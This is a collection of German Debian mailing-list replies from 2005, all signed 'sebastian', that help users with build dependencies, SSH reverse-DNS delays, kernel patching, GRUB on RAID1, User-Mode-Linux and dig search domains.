On Di, Aug 23, 2005 at 10:43:23 +0200, Christoph Grzeschik wrote: Ich habe mir den SourceCode vom MPlayer gezogen. Wenn ich ./configure eingebe erhalt ich folgende Fehlermeldung Error:Cannot find header either inttypes.h or bitypes.h Was ist hier falsch? Dir fehlen offensichtlich die Header der C library. Hast Du das Paket libc6-dev installiert? apt-file bzw. http://www.debian.de/distrib/packages#search_contents sollten Dir prinzipiell helfen, wenn fehlende Dateien angemeckert werden. Dort findest Du dann den Namen des/der Debian-Paket(e) in dem/denen die Dateien zu finden sind. Wenn Dir tatsächlich die libc6-dev fehlt, dann werden Dir sicherlich noch ein paar mehr lib*-devs fehlen. - sebastian
Re: ssh 20 sec Pause beim Login
Meinrad Schwamborn wrote: beim ssh Login per Putty (Version 0.57) auf eine Debian Linux Box habe ich eine ca. 20 sekuendige Pause zwischen der Eingabe des Loginnamens und der Anzeige des Password Prompts. [ ... jede Menge debug ... ] Normalerweise taucht genau dieses Phänomen auf, wenn der Linux-Rechner auf dem sshd läuft, die IP des zugreifenden Clients nicht rückwärts auflösen kann. Daher: -- Schuss-Ins-Blaue -- Kannst Du den PC von dem aus der Zugriff per puTTY erfolgt, vom Linux-Rechner aus rückwärts auflösen?! Teste mal ein dig -x ip_des_pcs_mit_putty vom Linux-Rechner aus. -- /Schuss-Ins-Blaue -- Wenn dem so ist, d.h. die IP ist nicht auflösbar, entweder a) dafür sorgen, dass die IP rückwärts auflösbar ist (DNS, hosts, ...) b) den sshd mit der Option -u0 starten (/etc/defaults/sshd) Dann klappt's auch mit dem Login schneller. - sebastian
Re: Kernel 2.6.13-rc6 - Probleme mit net/netlink/af_netlink.o
On Fr, Aug 19, 2005 at 11:38:46 +0200, Martin Müller wrote: Zur Info: Weil ich hier so eine außerirdische Konfiguration mit einem ITEC IT8212F Raid-Kontroller habe, brauche ich den 2.6.13 weil dann nicht mehr extra gepacht werden muss. Also hab ich mir die Sourcen von 2.6.12.5 gezogen und auf patch-2.6.13-rc6 gepatcht. Die Konfig gemacht und, leider, nun ein Problem beim Kompilieren. Inwiefern das mit Deinem Problem zu tun hat, kann ich Dir nicht sagen, aber die Prepatches sind prinzipiell nur für die vollen Releases gedacht. D.h. Du solltest auf jeden Fall gegen 2.6.12 und nicht 2.6.12.5 patchen. Siehe: http://kernel.org/patchtypes/pre.html - sebastian
Re: SATA - RAID
On Fr, Aug 19, 2005 at 02:16:42 +0200, Florian Schnabel wrote: 1) was muss ich machen das ich booten kann, egal welche platte ausfällt ? bzw. wie installiere ich grub auf der 2. platte ? Siehe Booting off raid1 http://deb.riseup.net/storage/software-raid/ Insofern die 2. Platte den Gang über den Jordan macht, tut das dem Booten keinen Abbruch. Um jedoch auch beim Ausfall der 1. Platte booten zu können brauchst Du a) einen installierten grub im MBR der 2. Platte b) bei der manuellen Instalation des grub im MBR der 2. Platte eine kurzzeitig geänderte Geräte-Zuordnung für grub Also von der Commandline die grub Konsole aufrufen # grub grub device (hd0) /dev/sdb grub root (hd0,0) grub setup (hd0) wobei sdb durch den Device-Namen Deiner 2. Platte zu ersetzen ist. 2) bei einem test (stecker ziehen im laufenden betrieb .. is ja sata ..) ist der rechner unterm strich abgestürzt. Mit was für Symptomen / Meldungen bzw. was ging nicht mehr? leigt das daran das ich swap auch gespiegelt habe oder muss cih da noch was besonderes machen ? hätte gerne das der rechner mit einer platte erstmal normal wweiter läuft swap zu spiegeln ist völlig legitim. Lediglich von der Praxis auf beiden Platten einen swap-Bereich gleicher Prio zu haben (also ohne Spiegel für die swap Partition), was angeblich ebenso ausfallsicher sein soll, bin ich nicht recht überzeugt. Im Regelfall sollte Dein Software-RAID einen Plattenausfall einwandfrei abfedern. Andere Frage: Ist Dein SATA-Chipsatz überhaupt hotplug-fähig, so dass Du einfach eine Platte ziehen kannst (SATA heisst ja nicht per se hotplug-fähig)?! - sebastian
Re: user-mode-linux in Sarge - suche einfaches Howto
On Fr, Aug 19, 2005 at 03:09:29 +0200, nullman wrote: Hallo *, Hallo nullmann, ist das Dein Realname? Nachdem in Sarge ja leider kein Paket mehr für User-Mode-Linux enthalten ist suche ich nach dem einfachsten Weg das zu installieren. Kennt einer ein gutes Howto hierfür ? Mit einer einfachem Installations-Howto für sarge kann ich nicht dienen, aber generell fand ich folgende Links recht brauchbar http://www.user-mode-linux.org/~blaisorblade/ http://uml.openconsultancy.com/ http://deb.riseup.net/miscellaneous/uml/ Bezieht sich jedoch eher auf Inbetriebnahme und Handhabung als auf fertige sarge Pakete ;) Ich möchte mir möglichst viel Handarbeit sparen und suche bestenfalls ein Debian-Paket (evtl. auch gleich den passend gepatchen Host-Kernel (skas usw ..)) das ich einfach nur installieren brauche. klar könnte ich mir die Sourcen ziehen und selbst das kompilieren, kernel-patchen usw .. .. geht alles .. aber ich bin weniger masochistisch veranlagt und eher der bequeme Typ ;-) Ist doch weniger schmerzhaft als gedacht. Den -skas Patch für Deinen Host-Kernel benötigst Du nur, wenn es Dir wirklich auf Performance ankommt. Für ein wenig Testen o.ä. reicht ein ungepatchter Standardkernel. Ansonsten ist UML ja seit 2.6.9 (?!) recht uptodate im offiziellen Kernel enthalten, also musst Du streng genommen selbst für einen Guest-Kernel keinen Patch mehr anwenden (auch wenn sich die -bs Patches anbieten). Ansonsten beim Bauen des Guest-Kernels immer schön auf ARCH=um achten. Beim menuconfig musst Du noch ein paar essentielle Optionen aktivieren (CONFIG_BLK_DEV_UBD und die character devices für die Konsolen, da haben die im 2.6er Kernel irgendwie geschludert) und ratz-fatz hast Du Dein UML ./linux. Das kannst Du dann wohin auch immer kopieren und von dort damit arbeiten. Aus die Maus. Ich habe das kürzlich mit einem 2.6.12.4 getan. Die uml-utilities habe ich noch von sarge beibehalten. Läuft einwandfrei. - sebastian
Re: DNS und Search-Domain
On Do, Aug 18, 2005 at 12:44:40 +, Mick wrote: Ich kann lokale Namen nur auflösen, wenn ich die Domain mitangebe. Es sollte doch möglich sein, Namen innerhalb der eigenen Domain auch ohnen Domain-Angabe aufzulösen. Ich habe lokal bind9 als DNS installiert. $ hostname -f liefert mir foo.bar. $ dig foo.bar liefert mir eine Antwort mit der richtigen IP. $ dig foo liefer aber keine Antwort. Auch wenn ich domain bar und search bar in /etc/resolf.conf eintrage, ändert sich das nicht. Das liegt daran, dass dig standardmäßig evtl. vorhandene search Suffixe nicht auswertet, sondern den übergebenen Hostnamen direkt bei den in resolv.conf hinterlegten oder dem per @host übergebenen DNS-Server anfragt. Und der kann mit der unqualifizierten Frage nach 'foo' natürlich herzlich wenig anfangen. Versuchs mal z.B. mit ping foo, dabei kommt die search Liste ins Spiel und foo sollte aufgelöst werden können. [ [EMAIL PROTECTED] ~ ]$ hostname --domain planet.home [ [EMAIL PROTECTED] ~ ]$ head /etc/resolv.conf search planet.home nameserver 127.0.0.1 [ [EMAIL PROTECTED] ~ ]$ dig gw +short [ [EMAIL PROTECTED] ~ ]$ dig gw.planet.home +short 192.168.2.1 [ [EMAIL PROTECTED] ~ ]$ ping gw PING gw.planet.home (192.168.2.1): 56 data bytes 64 bytes from 192.168.2.1: icmp_seq=0 ttl=255 time=0.5 ms 64 bytes from 192.168.2.1: icmp_seq=1 ttl=255 time=0.4 ms --- gw.planet.home ping statistics --- 2 packets transmitted, 2 packets received, 0% packet loss round-trip min/avg/max = 0.4/0.4/0.5 ms [ [EMAIL PROTECTED] ~ ]$ Vereinfacht gesagt sollten alle Programme mit denen Du als Client auf etwas zugreifst mit einfachen Hostnamen und der search Liste arbeiten. Ein Tool wie dig, mit dem Du nach allen Regeln der Kunst DNS Abfragen fahren kannst, möchte jedoch genau wissen, wonach Du suchst bzw. wie Du suchen möchtest. [ [EMAIL PROTECTED] ~ ]$ dig gw +short +search 192.168.2.1 [ [EMAIL PROTECTED] ~ ]$ Siehe: man dig. Kann es daran liegen, dass meine Domain keinen Punkt hat - also bar statt bar.lokal? Gute Frage, sowas habe ich noch nicht fabriziert ;) - sebastian
Re: Kernel-Source 2.6.11-k7
On Do, Aug 18, 2005 at 04:45:06 +0200, Andreas Pakulat wrote: (PS: apt-cache search kernel-headers-2.6.11 | grep k7 waer ne bessere Suche als die die du gemacht hast) Auch wenns nichts zum Thema beiträgt, der Vorschlag ging ja eh daneben... Gibts eigentlich 'nen Most useless use of grep-Award? ;) apt-cache search kernel-headers-2.6.11 k7 SCNR - sebastian